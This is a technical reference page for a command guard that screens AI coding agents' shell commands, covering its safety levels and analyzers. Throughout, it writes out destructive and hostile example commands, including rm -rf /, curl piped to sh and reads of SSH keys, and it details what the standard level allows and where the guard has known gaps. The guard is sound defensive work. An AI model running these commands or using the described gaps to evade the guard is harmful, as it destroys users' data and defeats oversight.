Skip to main content
This page assumes the guard pipeline from Architecture. It documents the destructive-command classifier’s exact behavior and edge cases for readers who inspect explain output or write precise custom rules. The classifier is the last stage of the guard. The ordered guard stages specify everything that runs first: bounded tool-input extraction, parser budgets, policy-file and Git-metadata protection, the policy snapshot load, and sensitive-path protection. Bounded parsing and the always-on policy-file and Git-metadata guards fail closed at every safety level. An invalid policy snapshot uses protective fallbacks, while sensitive-path protection follows the resolved policy. The destructive-command classifier cannot relax a decision already made by an earlier stage. Architecture diagrams the dispatch flow: split the command into segments, strip environment assignments and wrappers, identify the head command, and send it to the matching analyzer. This page explains what each analyzer does with its segment and where the safety levels move the boundary.

Safety-level boundaries

The three safety levels are presets over three capabilities. Getting these boundaries right is the difference between predicting a block and being surprised by one. Any capability mix that is not exactly one of the three presets reports as the effective level custom.

Standard

Standard blocks recognizable destructive commands. It is deliberately not adversarial-grade, and it is best-effort against dynamic or hostile input.
  • Safe-looking unparseable text is permitted. echo 'unterminated is allowed.
  • Recognizable destructive text is still blocked, even when unparseable. git reset --hard 'unterminated blocks via the raw-text heuristic scan, which recognizes rm -rf, git reset --hard/--merge, git clean -f, git checkout --force, git push --force/--delete, git branch -D, git tag -d, git stash drop/clear, git checkout --, git restore, find -delete, dd of=/dev/, mkfs /dev/, shred <arg>, and a download piped into a shell (curl … | sh).
  • Dangerous text in a quoted-literal assignment defers to use time. W='rm -rf ~'; echo "$W" is allowed because the assignment executes nothing. A quoted expansion in argument position stays one argv word, so it cannot split into a command plus flags. Any riskier reference keeps the assignment-time block, including an unquoted reference, a command-position reference, a substitution, or an unquoted heredoc body. Handing the value to a shell (eval "$W", bash -c "$W", echo "$W" | sh) also denies because the shell execution source cannot be verified. Strict never defers. See Standard-only allowances.
  • Dynamic rm -rf targets are not categorically blocked. rm -rf "$target" is allowed in standard; it blocks only once the fail-closed capability is on.
  • Standard also intentionally allows dynamic executables, guarded command structure assembled through substitution, other unverifiable recursive-delete targets, and standalone metadata-only checks of built-in sensitive paths.
  • eval and source of a verifiable local generator are allowed. eval "$(ssh-agent -s)" and source <(kubectl completion bash) pass in standard when the substitution body is one simple, fully literal command that is not a remote fetcher, a shell, or a command wrapper. The body is still analyzed; the shell it prints is not. Strict and paranoid deny every dynamic shell source. See Standard-only allowances.
  • Standard never relaxes sensitive content access or configured deny paths, and never relaxes the catastrophic protections.

Strict

Strict mode turns on the fail-closed capability. It does considerably more than tighten the unparseable case.
  • Unparseable commands are blocked. echo 'unterminated denies with a reason stating the command could not be safely analyzed.
  • Metadata-only sensitive-path discovery is blocked. test -f ~/.ssh/id_rsa and find ~/.ssh -type f are allowed in standard and blocked in strict.
  • The standard-only inline-data relaxation is disabled. In standard, a sensitive path literal inside an interpreter’s inline code stays inert data unless the code names a filesystem, command-execution, or eval marker. Strict keeps every literal and scans inside literal text as well.
  • Heredocs fail closed. Before the other analyzers run on a segment, a command containing a heredoc is denied unless it passes the narrow supported gate described under Heredoc analysis: exactly one unexpanded heredoc, on stdin, no other input redirection, and one of six literal data consumers. An unquoted delimiter with an expandable body denies with “Unquoted heredoc input is not supported safely. Quote the delimiter or ask the user to verify.”; every other failure denies with “This heredoc form or stdin consumer is not supported safely. Use a quoted heredoc with a supported consumer (cat, tee, git apply, git commit, gh pr create, gh issue create), or ask the user to verify.” So python3 - <<'PY' is denied here, and so is cat <<EOF whose body mentions $HOME, while a plain-text cat <<EOF passes.
  • Unverifiable destructive targets are blocked. Five rules are gated on the fail-closed capability, so they are allowed in standard and blocked in strict:
Individual strict-tier rules can be turned off, but strict is still strict for fail-closed outcomes that have no registered destructive-command rule id. These include parser fail-closed and sensitive-path outcomes.

Paranoid

Paranoid mode is strict plus two capabilities.
  • Paranoid rm blocks non-temp recursive forced removal even inside the current working directory. Both rm -rf ./cache and Remove-Item ./cache -Recurse -Force block. Temp targets and configured allow paths remain allowed.
  • Paranoid interpreters blocks every interpreter one-liner regardless of content, including python -c "print(1)".

Per-rule overrides versus levels

For non-catastrophic rules, precedence is: the master switch destructive_command_protection first, then the resolved preset capability, then the per-rule "on" / "off" override. Any strict- or paranoid-tier rule can be force-enabled under standard with an "on" override. Catastrophic rules ignore both the master switch and any "off" override. They are rm.recursive-force-root-or-home, rm.git-metadata, powershell.remove-item-root-or-home, powershell.remove-item-recursive-force-root-or-home, powershell.remove-item-git-metadata, and find.delete-git-metadata, alongside the always-on policy-file guard.

Shell wrappers and interpreter one-liners

Recursion into wrappers and interpreters is capped at 10 levels deep, and if any segment blocks, the whole command is denied. After environment assignments and wrappers are stripped from a segment, the command name is checked against two sets:
  • Shell wrappers. bash, sh, zsh, ksh, dash, fish, csh, and tcsh. The analyzer extracts the argument after -c and analyzes it recursively.
  • Interpreters. python, python2, python3, node, ruby, and perl. The analyzer extracts the code argument after -c, or after -e for node, Ruby, and Perl, then scans it for embedded destructive operations.
By default, the analyzer scans interpreter code for embedded destructive commands. It blocks python -c 'import os; os.system("rm -rf /")' because the code contains rm -rf /, but it does not block the one-line form by itself. Paranoid interpreters mode blocks every one-liner outright regardless of content. busybox dispatch is handled as a special case: the subcommand is shifted into the command position and re-analyzed. awk/gawk/mawk programs are scanned for system() calls and backtick command substitutions.

Transparent wrappers

Standard wrappers (sudo, env, command, builtin) are always stripped. The engine also strips proxy commands that you declared as transparent wrappers. Custom rules explains how to declare and constrain them. Unwrapping finds the first protectable child command after wrapper flags and environment assignments, or the token right after an explicit --. Once unwrapped, both built-in analysis and custom rules apply to the child: rtk git reset --hard blocks on the built-in rule, and rtk docker system prune hits a matching custom rule. Child commands that nothing protects are not unwrapped. The engine does not unwrap an undeclared proxy or a proxy that rewrites or hides its child command instead of executing a visible child. Only the top-level dangerous-text fallback scan may catch it. Cwd is tracked across segments of the same command, which is what rm and find classify their targets against. Working-directory tracking covers which cd forms update it and what sets it to unknown.
A known limitation: interpreter long-form flags (--eval, --execute, --require, and the attached =value form) are not recognized in every code path, so the code argument may not always be extracted. See Known limitations.

POSIX shell functions

A function definition is parsed as a definition instead of executed code. Three spellings are recognized: name() { ... }, the bash keyword form function name { ... }, and the hybrid function name() { ... }. The opening brace has to be its own word on the same line as the name, so function cleanup{ echo ok; } is not a definition. CC Safety Net analyzes the body at each call site with the caller’s effective working directory and shell state. cleanup() { rm -rf ../outside; } is allowed because it only defines the function. Add the call, as in cleanup() { rm -rf ../outside; }; cleanup, and the command blocks on the body. State changes inside a called body carry forward. For example, cleanup() { cd ..; }; cleanup && rm -rf build blocks because rm is anchored one directory up. Call resolution follows the shell’s own rules:
  • A call resolves past leading environment assignments (X=1 cleanup), the time keyword with its -p option and -- terminator, and the ! negation, including combined, time -p -- ! cleanup. Quoting or escaping the name ('cleanup', "cleanup", \cleanup) suppresses alias expansion but never a function lookup, so those call the function too.
  • Shapes a real shell would not run as the keyword form do not resolve: X=1 time cleanup, time "--" cleanup, and !cleanup (no space) are not treated as calls.
  • The latest definition before the call wins, matching the shell’s redefinition semantics.
  • A definition made inside a subshell (( ... )) does not escape it, while a brace group ({ ...; }) runs in the same shell, so its definitions do.
  • Definitions stay visible to eval and trap, which run in the same shell. Therefore, cleanup() { rm -rf ../outside; }; eval cleanup blocks. Child shells do not inherit definitions, so sh -c cleanup resolves no function.
Positional parameters stay unbound inside the body. f() { rm -rf "$1"; }; f ~ has a dynamic target, so standard allows it and the fail-closed capability blocks it, just like rm -rf "$X". The quoted-assignment deferral also applies inside called bodies. In W='rm -rf ~'; f() { $W; }; f, the unquoted command-position use keeps the assignment-time block. f() { echo "$W"; }; f stays allowed as quoted argument data. The pre-analysis guard stages see through calls as well: policy-file protection and sensitive-path extraction evaluate executed brace groups and called function bodies at each call site. Two structural bounds fail closed at every level, including standard. Self-recursion (loop() { loop; }; loop) denies on the recursion depth limit. Branching call chains deny on the derived-command work budget or the projection’s cap of 256 inlined call sites. A heredoc attached inside a function body makes the command unparseable. Standard sends it to the heuristic scan, while strict denies it outright.

Heredoc analysis

A heredoc body is text on stdin, and the consumer decides whether that text is data or a program. Before the other analyzers run on a segment, the engine checks the command against a narrow supported gate. The gate passes only when all of the following hold:
  • The command has exactly one heredoc (<< or <<-), attached to stdin (fd 0).
  • The heredoc is unexpanded: either the delimiter is quoted (<<'EOF'), or the delimiter is unquoted and its body contains no $, backtick, or backslash. The shell then performs no expansion or escape processing, so the body reaches the consumer byte for byte.
  • No other input redirection competes for stdin (<, <<, <<-, <<<, <&, <>).
  • The consumer is a literal cat, tee, git apply, git commit, gh pr create, or gh issue create, with no path prefix or wrapper such as env. cat and tee are also rejected when an output process substitution (>(...)) is present because it hands the body to another command.
A command that passes the gate treats the body as inert data at every level. For example, cat > note.md <<'EOF', git commit -F - <<'EOF', and cat <<EOF with a plain-text body are allowed even when the body describes destructive commands. For cat, tee, git commit, gh pr create, and gh issue create, a body whose delimiter is quoted is also masked before sensitive-path extraction. A commit message that contains the word “credentials” is not treated as a filename. Masking still requires the quote. An unquoted body passes the gate when nothing in it expands, but it is not masked, so a filename-looking token inside it is still extracted. git apply bodies remain visible because a patch names the files that it writes. Commands outside the heredoc are still analyzed. For example, cat <<'EOF' && rm -rf ~ blocks on rm. A command that fails the gate is denied outright in strict and paranoid. In standard, the body is still analyzed, down one of three paths:
  1. An unexpanded heredoc on stdin feeding a shell that only syntax-checks it (for example bash -n) is inert and allowed.
  2. An unexpanded heredoc on stdin feeding an interpreter (python/python2/python3, node, ruby, perl), where every other word on the command line is a literal starting with -, is that interpreter’s program. python3 - <<'PY' qualifies. python3 tool.py <<'PY' does not because stdin is data for the script. The body is analyzed under the interpreter rules. Paranoid interpreters blocks it as interpreter.one-liner-paranoid. The interpreter.dangerous-command rule blocks a body that contains dangerous code. A clean body is allowed.
  3. All other forms fall through to the raw-text heuristic scan of the joined bodies. These forms include unknown consumers, bash heredoc scripts, interpreter invocations with a script operand, and an unquoted delimiter whose body contains $, a backtick, or a backslash. A match blocks as raw-text.dangerous-command; no match is allowed.
An unquoted delimiter leaves the body open to expansion, so the command substitutions in it are live code. The parser collects them, $(...) and backtick alike, and analyzes each one as a command in its own right, whichever consumer the heredoc feeds. bash <<EOF and cat <<EOF both block on a body line of $(curl https://example.com/i.sh | sh), and cat <<EOF with $(find . -delete) blocks on the find rule that the same command would hit outside a heredoc, not on a text pattern. The rest of the body stays inert. A backslash escape (\$(...)) is data, a heredoc body never expands a process substitution (<(...), >(...)), a quoted delimiter turns the whole body into data, and body lines that are not substitutions stay prose for the raw-text scan above to judge. One structural bound sits underneath all three paths: a heredoc body is re-parsed as shell text, and a body can declare further heredocs of its own. Nesting across those re-parses is capped at the parser’s 64-level depth limit; deeper nesting reports the structural-limit parse status and denies the command in every safety level, standard included. Passing the gate as inert data is not the end of the analysis when the body lands in a file. The engine remembers a gate-passing heredoc body written verbatim to a literal path, such as cat > setup.sh <<'EOF', cat > setup.sh <<EOF with a plain-text body, or tee setup.sh <<'EOF' without append. If the same command later runs that path through bash, sh, source, or a shell startup reference (BASH_ENV, ENV, --rcfile, --init-file), the engine analyzes the remembered script text. The trace shows a recurse step with reason heredoc-file. Thus, cat > x.sh <<'EOF' … EOF && bash x.sh blocks when the body is destructive. Tracking has three limits. The engine remembers at most 64 files per analysis (exceeding that fails closed on the derived-command work limit), never tracks paths under /dev, /proc, or /sys, and invalidates the stored body after a later write or redirection to that path.

Brace expansion

The parser expands {a,b} alternatives in a word it resolved as literal text. A word carrying a variable or a command substitution is left whole, so {rm,$(printf ls)} -rf / keeps its brace group. Nested and adjacent groups expand in full: {r,l}{m,s} -rf / becomes rm rs lm ls -rf /. The scanner tracks quotes and backslash escapes, so {"rm",ls}, {'rm',ls}, {r\m,ls}, and {rm,l"s"} all resolve the same way as {rm,ls}. Where the group sits decides how the result is read. At the command word. The alternatives are spliced into the word list in shell order, so {rm,ls} -rf / is analyzed as rm ls -rf / and blocks on rm. Only the first alternative becomes the command, which is what a shell does as well: {ls,rm} -rf / runs ls with the operands rm -rf /, so it is allowed. A prefix stays attached, so a{rm,ls} becomes arm als. Ranges are not expanded here, which leaves {1..3} a single literal word. The command word is still the command word after leading VAR=value assignments and after a sudo, env, or command prefix. At an rm or find delete target. Every alternative is classified, not only the first, because the shell hands all of them to the command. rm -rf {x,/} blocks on / even though x is harmless, and find {x,/} -delete blocks the same way. A target group the parser cannot resolve fails closed instead of being read literally. That covers a range (rm -rf {a..c} and rm -rf ./{a..c} both deny as rm.recursive-force-outside-cwd) and a group that expands past 64 words or 16,384 characters. A group at the command word is bounded by the parser limits instead, and exceeding them ends the parse with Structural command analysis limit exceeded., which denies at every safety level.

Git rule engine

The git analyzer extracts the subcommand and its options, matches dangerous option patterns, and returns a reason plus a classification: localDiscard or sharedState. This classification drives worktree relaxation. Temp-root relaxation uses it only for a linked worktree. Temp-root relaxation reads the classification only inside a linked worktree. In a temp-root repository whose .git is a directory it relaxes every rule except the git.push-* rules, sharedState ones included. Option matching handles the real-world grammar of git: long options use prefix matching (so --forc, --force, and --force-with-lease resolve correctly), short options are unbundled (so -Df is read as -D plus -f), and global options that take values (-c, -C, --git-dir, --work-tree, --namespace, --super-prefix, --config-env) are skipped when locating the subcommand. See Blocked commands for the full list of blocked git patterns.
Git accepts GIT_SSH_COMMAND and GIT_SSH to run an arbitrary program during network operations, and GIT_SSH_VARIANT to change how that program is invoked. The rule git.ssh-env blocks a command that sets any of them, or core.sshCommand through -c or GIT_CONFIG_*, and runs a network subcommand (clone, fetch, pull, push, ls-remote, submodule). A value inherited from your shell profile does not count. See Git SSH environment overrides.
checkout analysis checks, in order: force (--force/-f); new-branch escape (-b/-B/--orphan returns no block); --pathspec-from-file; double-dash pathspec (git checkout -- discards uncommitted changes; git checkout <ref> -- <path> overwrites the working tree with the ref version); and ambiguous multi-positional forms (two or more positionals suggests using switch/restore instead).A lone operand with no -- is read as a path restore in three cases: it is spelled as a path (., .., ./…, ../…, a : magic pathspec, an absolute or drive-letter form, or a trailing slash), it contains a glob character (*, ?, [), or it names an entry that exists under the resolved git cwd. The rule id stays git.checkout-double-dash, and the reason is git checkout <path> discards uncommitted changes permanently. Use 'git stash' first, or 'git switch' to change branches. Bare branch names such as main and feature/x stay allowed, and -d, --detach, -t, and --track exempt the operand.The check runs no git subprocess and resolves no refs. That is deliberate: a branch whose name matches an existing working-tree entry is denied, and the message points at git switch. The existence probe resolves the git cwd from the original tokens, so a leading -C <dir> still applies when an alias expands to checkout.
reset --hard/--merge is classified sharedState when a ref precedes -- (it moves a branch pointer), and localDiscard otherwise (it only discards working-tree changes).

Working-directory tracking

The analyzer carries an effective working directory across the segments of one command. A literal, resolvable cd target becomes the tracked cwd. Anything the analyzer cannot resolve sets the cwd to unknown, and rm analysis then has no cwd anchor. The original cwd stays anchored either way, so both directories take part in the classification below. pushd and popd always set the cwd to unknown. Only cd is tracked. Which cd forms are tracked. Options are read up to the first non-option token, and every one of them must be a -L/-P group. Exactly one operand has to remain after an optional --. So cd -- /tmp/scratch and cd -P /tmp/scratch are tracked. cd -, an unknown option as in cd -x -- /tmp/scratch, cd /tmp/scratch -P, cd -P /tmp/scratch -L, and cd /tmp/scratch extra all set the cwd to unknown. Variable operands. A $VAR or ${VAR} operand expands from the literal shell assignments carried with the command, but only when the parser marked that word as a variable expansion. R=/tmp/scratch; cd $R is tracked, while cd '$R' and cd \$R are not, because the $ reaches the shell literally. A result that still contains $, a backtick, whitespace, a glob character (*, ?, [), or a leading ~ sets the cwd to unknown. An assignment is expanded at the moment it is collected, as a shell does, so a single-quoted or escaped $ stays literal and is never expanded later. A='$B'; B=/tmp/scratch; cd $A leaves the cwd unknown. CDPATH. A bare operand, meaning one that does not start with ., /, or a drive letter, sets the cwd to unknown whenever a CDPATH= or CDPATH+= word appears on any segment, with or without a leading export, or whenever CDPATH is set in the hook’s environment. ./sub and absolute operands stay tracked, because a shell resolves those without consulting CDPATH. Body scope. then, do, and case open a body; fi, done, and esac close one, and elif closes the branch it follows. An assignment made while a body is open is usable inside that body and is dropped once the last body closes, so a later cd $VAR goes unknown. The command word is located past a leading do/then/else, which is why if true; then unset R; fi clears the binding. for loops. A for NAME in list of one to eight literal words forks the analysis state once per word with NAME bound, and every forked state has to pass. Any other for form, including for c with no list and a list built by substitution, forgets NAME. The tracked cwd feeds four checks:
  • The cwd self-target check matches a target that resolves to either the tracked cwd or the original anchored cwd, so cd helpers && rm -rf .. is rm.recursive-force-cwd-self rather than a within-cwd target.
  • Within-cwd classification uses it, so cd src && rm -rf build stays allowed inside the workspace.
  • Git-metadata protection resolves the target against it, so cd scratch && rm -rf ../checkout reports rm.git-metadata when checkout holds a repository.
  • A relative target that lands under a trusted temp root becomes a temp target. That is step 11 in the table below.
The trace records a cwd-change step only when the cwd becomes unknown. A tracked cd records nothing. See Explain trace.

Recursive-delete target classification

rm analysis detects recursive plus force flags, extracts targets, and classifies each target against the current working directory. It checks targets in the following order. The first match wins, so changing the order would change behavior. Two consequences of the ordering are worth stating explicitly:
  • Step 4 precedes step 7, so an allow path that contains a repository does not relax Git-metadata protection.
  • Step 6 precedes step 7, so allow paths never apply to dynamic or otherwise unverifiable targets.
Step 11 needs a cwd that a tracked cd produced, so Working-directory tracking decides whether it can run at all. It does not apply when the tracked cwd contains the original cwd, which is why moving up out of a workspace that sits under /tmp keeps its sibling-delete denial. It also never applies to an absolute, tilde-rooted, or dynamic target, or to one with a .. component. Allow paths must be absolute or ~/-prefixed directories. They apply in every safety level to rm, Remove-Item, and find -delete. They never relax secret protection, deny paths, root, home, or protected Git metadata. Entries equal to or containing $HOME are rejected at validation and again after canonicalization; symlink escapes are not covered. Both recursive (-r/-R/--recursive) and force (-f/--force) flags must be present for this classification to run. Path comparison uses canonical (realpath) resolution, so a symlink to / is correctly classified as dangerous, and /tmp-malicious does not match the /tmp temp rule. On Windows, Git Bash and other MSYS shells hand over /c/Users/... spellings, which the Windows path APIs read as paths under the current drive. Before any comparison, a leading /<drive-letter> followed by / or the end of the string becomes <drive-letter>:/, so /c/Users/you compares as c:/Users/you. Only that leading segment changes. Other platforms are untouched, and POSIX paths, UNC paths, and native Windows drive-letter paths pass through unchanged. The rewrite runs before rm target classification, before policy-file and Git-metadata protection, and before sensitive-path protection. It also rewrites HOME and CC_SAFETY_NET_HOME when the environment is captured, so those roots and the command operands compare in the same form. Temp-root comparison also folds case on Windows, so a lowercase MSYS path under the native temp directory classifies as a temp target instead of an outside-cwd one.
The important distinction for everyday use: rm -rf ./subdir (within cwd) is allowed, but rm -rf . (the cwd itself) is blocked. See Allowed commands.

PowerShell Remove-Item

Remove-Item and its aliases use the same target taxonomy as rm, through a conservative PowerShell subset that preserves native quoting, path separators, connectors, pipelines, and dynamic-word provenance.
  • -WhatIf, -WhatIf:$true, and the -wi abbreviation neutralize an otherwise-blocked removal; an explicit -WhatIf:$false blocks again.
  • Dynamic forms are strict-only: Remove-Item $target -Recurse -Force, a Get-ChildItem … | Remove-Item -Force pipeline, a -Path with no value, and splatting (Remove-Item @params -Recurse -Force) are all allowed in standard and blocked in strict. The exception is Remove-Item $HOME -Recurse -Force, which blocks in standard because it classifies as a root/home target rather than a dynamic one.
  • Aliases and abbreviated parameters resolve, so ri . -r -fo blocks. Invocation-operator forms (& Remove-Item …, & { … }, . { … }) are analyzed, as are Invoke-Expression with a literal string and $(…) subexpressions.
  • # line comments and <# … #> block comments (including nested ones) are ignored, but real commands after them still block. Malformed or depth-limited block comments and subexpressions fail closed.
  • PowerShell wildcards do match dot-entries, unlike a POSIX * glob. That is why Remove-Item .git -Recurse -Force and a PowerShell wildcard at a repository root both hit Git-metadata protection, while POSIX ./* does not cover .git.
  • Shell selection matters: the posix dialect deliberately does not apply the PowerShell removal rules, while auto detects an explicit Remove-Item, the Get-Content, Set-Content, Add-Content, Copy-Item, and Move-Item cmdlets, and an alias such as gc or cp whose argument is spelled as a PowerShell path expression (gc $HOME\.ssh\id_rsa). Cross-shell rules such as git.reset-hard stay in force either way.

Device and disk destruction

All three also appear in the unparseable-text heuristic scan. Thus, dd of=/dev/…, mkfs /dev/…, and shred <arg> inside otherwise unparseable text block as raw-text.dangerous-command, except when the text starts with echo or rg . None of the three is catastrophic, so they follow the master-switch and per-rule-override precedence.

Dynamic-target analyzers for find, xargs, and parallel

For xargs and parallel, the concern is that the targets come from dynamic input (piped stdin or placeholder expansion), so they cannot be verified against the cwd. SSH-remote mode in parallel (-S/--sshlogin) also disables worktree relaxation. CC Safety Net expands parallel only from one ::: argument group, using the {} and {n} replacement strings. A second ::: group, a {-n} index counting back from the last input source, a {= ... =} Perl expression, and --workdir / --wd deny as parallel.command-stream-dynamic, as do the input forms it has never expanded: ::::, :::+, -a / --arg-file, --colsep, --rpl, --arg-sep, --arg-file-sep, and --env. The engine still expands the child command and still resolves a --workdir as the directory it would run in, so a catastrophic target such as rm -rf / blocks on its own rule even when parallel.command-stream-dynamic is turned off. Expanding the ::: groups into jobs charges the derived-token budget, and a job matrix that exhausts it fails closed. When a custom rule owns the child command, a replacement string anywhere in its arguments counts as dynamic input and denies as xargs.shell-dynamic or parallel.shell-dynamic. CC Safety Net does not work out which input value would trigger the rule.

Worktree relaxation

When worktree mode is active, local-discard git commands are allowed inside a confirmed linked worktree. Relaxation requires all of the following:
  1. The matched rule is classified localDiscard (see the git rule engine table). sharedState rules never relax.
  2. Worktree mode is on through workflow.worktree_mode in policy.json or CC_SAFETY_NET_WORKTREE=1. The engine combines these settings with a logical OR.
  3. No git context environment override is present (GIT_DIR, GIT_WORK_TREE, GIT_COMMON_DIR, GIT_INDEX_FILE), and no --git-dir/--work-tree on the command line.
The engine verifies a linked worktree instead of assuming one. It confirms that the .git entry is a file, not a directory or symlink, and that its gitdir: pointer resolves to a directory with a commondir file. It also confirms that the backlink points to this worktree and that config.worktree matches. Main worktrees, bare repositories, and submodules are not relaxed. If verification fails, the command stays blocked (fail-closed).
Even inside a confirmed linked worktree, these are never relaxed: dynamic arguments containing $, *, ?, or [; forced branch resets (git checkout -B/-Bf or git switch -C/-Cf with -f or --discard-changes); git clean with more than one -f flag (needed to remove nested git repos, which crosses the disposable-worktree boundary); and any --recurse-submodules option or recursive-submodule config.
The effective git working directory is resolved by walking leading global options. -C <path> and inline -C<path> apply a directory change. --git-dir/--work-tree (separate or = forms) mark an explicit git context, which disables relaxation entirely.

Temp-root relaxation

A second relaxation covers git commands that run in a disposable repository under a trusted temp root. It is separate from worktree relaxation and does not require worktree mode. Every git rule except the git.push-* rules can relax this way. The relaxation never applies when --git-dir or --work-tree is on the command line, when a git context environment override is present (GIT_DIR, GIT_WORK_TREE, GIT_COMMON_DIR, GIT_INDEX_FILE), or when the command came from an expanded command-line git alias. git.alias-config and git.ssh-env are decided before either relaxation runs, so they never relax either. The engine locates the repository by walking up from the resolved git cwd to the nearest ancestor that holds a .git entry. That root has to be a descendant of a trusted temp root, must not be a temp root itself, and must be neither an ancestor nor a descendant of the workspace, which is the original cwd. The root’s .git must be a present directory entry. A missing or symlinked .git keeps the rule. The trusted temp roots here are the built-in ones, not anything you configure. allow_paths feed rm target classification only and never make a repository disposable. A linked worktree under a temp root has a .git file rather than a directory. Only a rule classified localDiscard can relax there, and only when the engine reads worktree facts confirming a gitdir that backlinks to that worktree and a commondir. The command must also clear the non-relaxable local discards that linked-worktree mode lists. Branch, stash, and tag operations change the repository the worktree belongs to, so they stay blocked, and git reset --hard <ref> is shared state and never relaxes here. git.worktree-remove-force is judged by its operand rather than by the repository, because git runs in the workspace while the disposable subject is the path being removed. The rule reads the single literal operand after remove. Substitution from the tracked shell assignments happens only when the parser marked that word as a variable expansion and every literal fragment of the word is free of $ and backticks. Otherwise the operand text stands as written. The operand must then be absolute, free of whitespace, $, backticks, and glob characters, and must already be a present directory that is not a symlink. Its real path must be a temp-root descendant that is neither a temp root itself nor an ancestor or descendant of the workspace. So git worktree remove --force "$S/main" and the unquoted $S/main can relax, while '$S/main', a relative operand such as ./linked, a missing path, and a symlink all keep the rule. The trace records a temp-root-relaxation step carrying the reason it lifted and the git cwd. See Explain trace.

Custom rules

When no built-in analyzer matches, custom rules run as a fallback. They can only add blocks. They cannot override a built-in block or relax protection. Rules are namespaced as <rulebook-name>/<rule-name> and matched on the command basename first, then on the shape their own rulebook version declares. A version 1 rule matches an optional subcommand and literal block_args, with short-option unbundling, so -Ap matches -A. A rulebook_version: 2 rule matches its match object instead: the words of match.command_path must be the leading non-option arguments in order, match.any_args requires at least one of its tokens among the arguments, and match.exclude_args cancels the match when any of its tokens is present. Version 2 compares exact tokens and does not unbundle short options. See Version 2 matching. See Custom rules for the full authoring guide and matching semantics.

Inspect a classification

To see exactly how the engine evaluated a specific command, run explain:
The human-readable output walks through each segment and shows parse steps and rule evaluations. The JSON output returns the structured trace. See the Explain trace reference for the schema. If a decision looks wrong for your configuration rather than for the command, check whether the runtime is enforcing a fallback policy: npx cc-safety-net status prints ready or degraded, and Configuration recovery explains how to repair the named source.

Where to go next

The technical guides run from the user-facing lifecycle down to the reasoning behind the design. This page is step 4.
  • Back: Architecture, which describes the ordered guard stages that end with this classifier.
  • Next: Design principles, which explains why classification is semantic rather than pattern-based and why the level boundaries fall where they do.
Related: Modes for selecting a level, Blocked commands and Allowed commands for the outcome reference, and Known limitations for what the classifier does not see.
Last modified on September 21, 2026